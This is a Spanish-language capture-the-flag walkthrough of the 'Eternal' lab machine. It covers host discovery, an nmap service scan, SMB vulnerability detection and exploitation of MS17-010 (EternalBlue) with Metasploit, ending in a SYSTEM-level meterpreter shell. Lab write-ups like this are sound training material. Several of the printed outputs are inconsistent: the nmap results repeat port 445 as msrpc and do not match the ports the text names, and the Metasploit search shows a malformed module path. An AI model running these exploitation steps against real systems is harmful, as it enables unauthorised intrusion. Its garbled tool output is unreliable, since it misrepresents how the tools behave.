

Máquina Eternal (Vulnux)

De Ignacio Millán Ledesma Publicado el: 27 septiembre

Comenzamos con averiguar la dirección IP de la Máquina Víctima, para ello utilizaremos la herramienta **netdiscover**, para ello ejecutamos el siguiente comando:

```
$ netdiscover -i eth1 -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:95:ff:51	1	60	PCS Systemtechnik GmbH
10.0.2.18	08:00:27:64:e5:df	1	60	PCS Systemtechnik GmbH

- **Kali (Máquina Atacante):** 10.0.2.4
- **Máquina Víctima:** 10.0.2.18

Comprobamos si tenemos conexión con la Máquina Víctima, para ello ejecutaremos el siguiente comando:

```
$ ping -c 1 10.0.2.18
```

```
PING 10.0.2.18 (10.0.2.18) 56(84) bytes of data.
64 bytes from 10.0.2.18: icmp_seq=1 ttl=128 time=0.325 ms

— 10.0.2.18 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.325/0.325/0.325/0.000 ms
```

Como se puede comprobar por el TTL nos enfrentamos a una Máquina **Windows**.

A continuación, realizamos con la herramienta **nmap** un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

```
$ nmap -Pn 10.0.2.18 -sVC
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 02:19 CEST
Nmap scan report for 10.0.2.18
Host is up (0.0000s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc   Microsoft Windows RPC
136/tcp   open  wsmgmt  Microsoft Windows wsmgmt
445/tcp   open  microsoft-ds Windows 7 Enterprise 7801 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  rdp     Microsoft RDP (TCP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-IIS/7.5
445/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  msrpc   Microsoft Windows RPC
445/tcp   open  msrpc   Microsoft Windows RPC
MAC Address: 08:00:27:64:E5:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: MINE-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-enum:
|_ date: 2025-09-14T01:20:18
|_ start-date: 2025-09-14T01:20:18
|_ smb-enum-discovery:
|_ OS: Windows 7 Enterprise 7801 Service Pack 1 (Windows 7 Enterprise 6.1)
|_ OS CPE: cpe:/o:microsoft:windows_7::msl
|_ Computer Name: MINE-PC
|_ NetBIOS Computer Name: MINE-PC\mb
|_ Workgroup: WORKGROUP\mb
|_ System time: 2025-09-14T01:20:18+02:00
|_ Context: NetBIOS Name: MINE-PC, NetBIOS user: unknown, NetBIOS MAC: 08:00:27:64:e5:df (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_ SMB-security-mode:
|_ 2118:
|_ Message signing enabled but not required
|_ smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ _clock-slow: mean: 15000, deviation: 1500000, median: 25000
```

Como podemos comprobar la Máquina Víctima tiene abiertos los puertos **135, 139, 445, 5357, 49152, 49153, 49154, 49155, 49156, 49157**; y nos confirma que se trata de una Máquina con **Windows 7**.

A continuación, comprobamos si el servicio que corre por el puerto 445 (**smb**) es vulnerable su versión, para ello usaremos el **script vuln** de **nmap**, para ello ejecutaremos el siguiente comando:

```
$ nmap -p 445 10.0.2.18 --script vuln
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 02:22 CEST
Nmap scan report for 10.0.2.18
Host is up (0.00045s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:64:E5:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms17-010:
|  VULNERABLE:
|  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|  State: VULNERABLE
|  IDs: CVE:CVE-2017-0143
|  Risk factor: HIGH
|  A critical remote code execution vulnerability exists in Microsoft SMBv1
|  servers (ms17-010).
```

Y comprobamos que es vulnerable.

A continuación, haremos uso de la herramienta **Metasploit**, para ello ejecutamos el siguiente comando para arrancarla:

```
$ msfconsole
```

Buscamos este **exploit**, para ello ejecutamos el siguiente comando dentro de la consola de Metasploit:

```
msf6> search ms17-010
```

```
msf6 > search ms17-010
Running Modules
#  Name                                     Disclosure Date  Rank  Check  Description
#  ----
#  msf6/cve/2017-0143/smb/ms17-010_eternalblue 2017-03-01      average Yes    MS17-010: EternalBlue SMB Remote Windows Kernel PoC Corruption
```

Seleccionamos, configuramos y lanzamos el exploit, para ello ejecutamos los siguiente comandos dentro de la consola de Metasploit:

```
msf6> use 0
```

```
msf6> set RHOST 10.0.2.18
```

```
msf6> run
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```